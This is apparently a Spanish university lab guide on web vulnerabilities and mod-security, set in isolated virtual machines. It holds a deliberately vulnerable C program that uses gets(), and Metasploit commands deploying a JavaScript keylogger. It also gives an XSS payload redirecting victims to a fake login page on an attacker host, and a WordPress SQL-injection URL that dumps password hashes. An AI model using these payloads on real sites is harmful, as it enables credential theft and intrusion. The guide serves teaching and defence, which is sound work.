Vulnerabilidades Web y uso de mod-security

SSI 2018/19


Índice General

1 Previo: reto de desbordamiento de buffer

  1. Compilar y ejecutar el siguiente código C (en una máquina GNU/Linux)

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
     
    char* crear_pin_aleatorio() {
            char* pin = (char *) malloc(5);;  
            srand(time(0));  // Inicializa generador de nos. aleatorios
            sprintf(pin, "%04d", rand()%10000);
            return pin;
    }
    
    int main(int argc, char *argv[]) {
            char pin_secreto[5];
            strcpy(pin_secreto, crear_pin_aleatorio());
    
            char pin_leido[5];
            printf("Introducir PIN: ");
            gets(pin_leido);   // No comprueba tamano de entrada
    
            if (strcmp(pin_leido, pin_secreto) == 0){
               printf("Acceso concedido, pin correcto\n");
            }
            else {
               printf("Acceso denegado, pin incorrecto\n");
            }
    
            printf("PISTA:\n pin secreto: %s\n pin leido: %s\n", pin_secreto,pin_leido);
    }
    
El programa implementa un control de acceso muy simple (y sin sentido) basado en un pin aleatorio de 4 dígitos.

El código es vulnerable a un desbordamiento del buffer sobre la variable pin_leido derivado del uso de la función gets()

1.1 Compilación y ejecución

Para poder aprovechar el desbordamiento de buffer sobre la variable pin_leido que deja abierto el uso de get(), es necesario identificar varias cuestiones relativas al modo en que gestiona la pila de ejecución (Stack) el compilador GCC, que dependen de la arquitectura de la CPU, la versión concreta de GCC y las opciones por defecto que se usan en las distintas distribuciones GNU/Linux.

Aspectos a identificar

1.2 Tarea a realizar

  1. Verificar la posibilidad de desbordamiento: probar entradas de tamaño creciente (4 dígitos, 5 dígitos, 6 dígitos, etc) y ”ver que pasa”.

  2. Diseñar un esquema que permita aprovechar el desbordamiento de buffer para sobrepasar el control de acceso basado en pin aleatorio. Comprobar su funcionamiento.

  3. Por defecto el compilador GCC compila el código con la opción -fstack-protector-all (protección de pila para dirección de retorno y arrays ”grandes”). ¿Cómo funciona este mecanismo de protección de pila en GCC y qué sucede cuando se introduce un PIN de gran tamaño ($>$ 5 bytes)?

  4. Comprobar lo que sucede si se sustituye la llamada a gets(pin_leido) por una llamada a fgets(pin_leido, 4, stdin)

TAREA ENTREGALE (A)

Documentación a entregar: Documentar brevemente las tareas 2, 3 y 4 del ejemplo de desbordamiento de buffer.

2 Entorno de pruebas

2.1 Software de virtualización VIRTUALBOX

En estas prácticas se empleará el software de virtualización VIRTUALBOX para simular los equipos GNU/Linux sobre los que se realizarán las pruebas.

2.2 Imágenes a utilizar

  1. Scripts de instalación

    Notas:

  2. Imágenes descargadas

  3. Usuarios configurados e inicio en el sistema

3 Ejercicio 1: Vulnerabilidades típicas en aplicaciones web

3.1 Descripción

En este ejercicio veremos ejemplos simples de vulnerabilidades web.

PREVIO (IMPORTANTE) Asegurar que están iniciados los servidores Apache y MySQL.

3.2 Aplicaciones vulnerables (Cross Site Scripting: XSS)

3.2.1 Foro ”simple” vulnerable

En la máquina modsecurity hay una implementación de un foro de juguete en PHP.

Desde la máquina atacante:

  1. Abrir en un navegador WEB la URL http://modsecurity.ssi.net/foro

  2. Entrar como ana con password ssi

  3. Preparar un ataque de XSS persistente

Desde la máquina victima:

  1. Abrir en un navegador WEB la URL http://modsecurity.ssi.net/foro

  2. Entrar como pepe con password ssi y acceder al listado de mensajes

  3. Comprobar la ejecución del código del ”ataque” XSS preparado por ana

3.2.2 Carga de librerías Javascript ”maliciosas”

En un escenario real, un atacante (el papel de ana) inyectaría código Javascript más dañino, normalmente con la finalidad de hacerse con información relevante del usuario atacado (el papel de pepe).

Ejemplo: despliegue del keylogger Javascript de Metasploit

  1. Preparar la librería Javascript y el servidor de escucha en la máquina atacante.

    Información del módulo en http_javascript_keylogger

          
          atacante:~#  service metasploit start
          
          atacante:~#  msfconsole
          
          msf> use auxiliary/server/capture/http_javascript_keylogger 
          
          http_javascript_keylogger> info
          http_javascript_keylogger> set DEMO true
          http_javascript_keylogger> set SRVPORT 8888
          http_javascript_keylogger> set URIPATH js
          http_javascript_keylogger> run
    
    El keylogger Javascript quedará disponible en cualquier URL de la forma http://atacante.ssi.net:8888/js/[...].js, de modo que cuando se cargue esa librería Javascript se inicie la captura de pulsaciones de teclado.

  2. Desplegar el ataque XSS persistente

  3. Verificar el ataque XSS

OPCIONAL: Simular la redirección a una página de lectura de credenciales

El módulo Metasploit genera un página de login simulada (habilitado con la opción DEMO=true) en la URL http://atacante.ssi.net:8888/js/demo para probar la redirección y captura de credenciales (en un escenario real se haría un ataque de phising creando una página de login falsa imitando la apariencia de la web legítima)

  1. Desde atacante acceder al foro como ana y crear un nuevo mensaje
          
    Título: Otro mensaje inocente 
    Contenido: 
       blablabla <script> window.location.replace("http://atacante.ssi.net:8888/js/demo") </script> blablabla
    
  2. Desde victima, acceder como pepe a la lista de mensajes para invocar el código Javascript inyectado

    Se redireccionará el navegador a una página de login falsa creada por Metasploit donde capturará las pulsaciones de teclado.

3.3 Aplicaciones vulnerables (Inyección SQL)

3.3.1 Inyección SQL Foro ”simple” vulnerable

Desde la máquina atacante

3.3.2 Inyección SQL en Wordpress 1.5.1.1

IMPORTANTE: La versión de Worpress de este ejemplo no funciona sobre PHP7 $\Rightarrow$ No se realizará esta parte

Ejemplo de vulnerabilidad en una versión antigua del software para blogs WordPress.

Los ataques de Inyección SQL no tienen por que limitarse al acceso a través de campos de formulario. En este caso el código SQL inyectado se incluye en la barra de direcciones (en un parámetro de la URL que se envía en la petición HTTP GET)

  1. Abrir desde el navegador de la máquina atacante la url del blog: http://modsecurity.ssi.net/wordpress

  2. Probaremos la inyección SQL sobre los parámetros de la consulta de categorias (http://modsecurity.ssi.net/wordpress/?cat=1)

    1. Poner en barra de direcciones: (sin espacios)
          
      http://modsecurity.ssi.net/wordpress/index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users
      

      Nota: puede copiarse y pegarse esta URL desde el archivo /root/aplicaciones_vulnerables/wordpress/url-wordpress.txt de la máquina virtual modsecurity

    2. Se mostrará en la columna derecha (zona de lista de categorías) el par:
          
        admin:e201994dca9320fc94336603b1cfc970
      

    3. Vemos el contenido de la primera fila de la tabla de usuarios, con nombre de usuario admin y el md5 de su password

      Para comprobar que ese es efectivamente es el resumen md5 de la cadena secreto:

      • Buscar la cadena e201994dca9320fc94336603b1cfc970 en google (sale asociado a la palabra ”secreto”)
      • Ejecutar en línea de comandos: echo -n "secreto" | md5sum

3.4 Aplicaciones vulnerables educativas

En la máquina virtual modsecurity se encuentra instaladas tres aplicaciones vulnerables (2 en PHP y 1 en Java) diseñadas para experimentar con ellas.

Damm Vulnerable Web App
disponible en http://modsecurity.ssi.net/DVWA, con login admin y password password

Implementa ejemplos de XSS e inyección SQL y otras vulnerabilidades en tres niveles de dificultad

El código está disponible en el directorio ejercicio-modsecurity de modsecurity.ssi.net.

Web: http://www.dvwa.co.uk/

Mutillidae (NOWASP)
disponible en http://modsecurity.ssi.net/mutillidae

Similar a DVWA, pero con los ejemplos más documentos y estructurados de acuerdo al OWASP Top 10.

El código está disponible en el directorio /var/www/html/mutillidae de modsecurity.ssi.net.

Web: http://sourceforge.net/projects/mutillidae/

WebGoat
en http://localhos:8080/WebGoat/ desde la máquina modsecurity (solicita un registro previo en la aplicación, proporcionando login y password)

Aplicación web Java vulnerable desarrollada como parte del proyecto OWASP.

Instalación y arranque: desde el directorio /root/aplicaciones-vulnerables/

modsecurity:/root/aplicaciones-vulnerables#  java -jar webgoat-server-8.0.0.M21.jar

Nota: WebGoat sólo está accesible en local, por lo que debe accederse desde el navegador de la máquina modsecurity

Web: https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

3.5 Documentación a entregar

TAREA ENTREGABLE (B)

4 Ejercicio 2: Instalación y experimentación con mod-security

NOTA: Si es necesario para replicar los ejercicios anteriores, se puede reconstruir la base de datos inicial del foro.

 modsecurity:~#  cd /var/www/html/foro
 modsecurity:/var/www/html/foro# mysql -u root -p     (con la contrseña purple)
 mysql > drop database foro
 mysql > create database foro
 mysql > use foro
 mysql > source foro.sql

4.1 Descripción de mod-security

Resumen mod-security: pdf

Web: http://www.modsecurity.org/

Reglas mod-security:

4.2 Instalación y configuración

  1. Instalar los paquetes debian (ya hecho)
    modsecurity:~# apt-get install  libapache2-mod-security2   # modulo security2 de Apache
    modsecurity:~# apt-get install  modsecurity-crs   # colección de reglas Core Rule Set
    

  2. Reglas del OWASP ModSecurity Core Rule Set Project

    Descarga desde OWASP ModSecurity Core Rule Set Project y http://github.com/SpiderLabs/owasp-modsecurity-crs (ya descargado al instalar paquete modsecurity-crs)

  3. Revisar la configuración por defecto de mod-security

    modsecurity:~# cat /etc/apache2/mods-available/security2.conf 
    <IfModule security2\_module>
     \# Default Debian dir for modsecurity's persistent data
     SecDataDir /var/cache/modsecurity
    
     \# Include all the *.conf files in /etc/modsecurity.
     \# Keeping your local configuration in that directory
     \# will allow for an easy upgrade of THIS file and
     \# make your life easier
     IncludeOptional /etc/modsecurity/*.conf
    
     \# Include OWASP ModSecurity CRS rules if installed
     IncludeOptional /usr/share/modsecurity-crs/owasp-crs.load
    </IfModule>
    
    modsecurity:~# cat /usr/share/modsecurity-crs/owasp-crs.load
    ##
    ## This file loads OWASP CRS's rules when the package is installed
    ## It is Included by libapache2-mod-security2
    ##
    Include /etc/modsecurity/crs/crs-setup.conf
    IncludeOptional /etc/modsecurity/crs/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf
    Include /usr/share/modsecurity-crs/rules/*.conf
    IncludeOptional /etc/modsecurity/crs/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf
    

  4. Configurar y habilitar las reglas OWASP a utilizar

    modsecurity:~# cd /etc/modsecurity/
    modsecurity:/etc/modsecurity/# mv modsecurity.conf-recommended modsecurity.conf  
                                                    /* Configuracion general de modsecurity*/
    
    IMPORTANTE
    • En la configuración por defecto de mod-security está habilitada la notificación del uso de mod-security a la web http://status.modsecurity.org/.

    • Dado que las máquinas virtuales utilizadas no tienen acceso a la red real, este intento de notificación fallido hará que mod-security no se arranque.

    • Para anular esta notificación hay que editar el fichero /etc/modsecurity/modsecurity.conf y establecer el parámetro SecStatusEngine a Off [está al final del fichero]

      modsecurity:~# nano /etc/modsecurity/modsecurity.conf
      
         ...
         ...    
         SecStatusEngine Off
      

  5. Si no estaba hecho previamente, habilitar el módulo mod-security en Apache y reiniciar el servidor

    modsecurity:~# a2enmod security2
    
    modsecurity:~# systemctl restart apache2.service
     ó
    modsecurity:~# service apache2 restart
    

  6. TAREA ENTREGABLE (C) Repetir las pruebas de inyección SQL y XSS sobre el foro y (opcionalmente) con DVWA.

  7. TAREA ENTREGABLE (D) Configurar mod-security en modo rechazo y repetir las pruebas de inyección SQL y XSS sobre el foro y (opcionalmente) con DVWA.

    (Si es necesario, eliminar y regenerar la base de datos de la aplicación foro.)

    Editar /etc/modsecurity/modsecurity.conf para establecer el parámetro SecRuleEngine a On (por defecto estaba como DetectionOnly) y reiniciar Apache.

      modsecurity:~# nano /etc/modsecurity/modsecurity.conf
    
       ...
       SecRuleEngine On
       ...
       
    
       
    modsecurity:~# systemctl restart apache2.service
     ó
    modsecurity:~# service apache2 restart
    

    Nota: En todas las pruebas el acceso a las URL debe hacerse con el nombre de la máquina modsecurity, no con su dirección IP. (http://modsecurity.ssi.net/foro, etc)

4.3 Documentación a entregar

Entregable: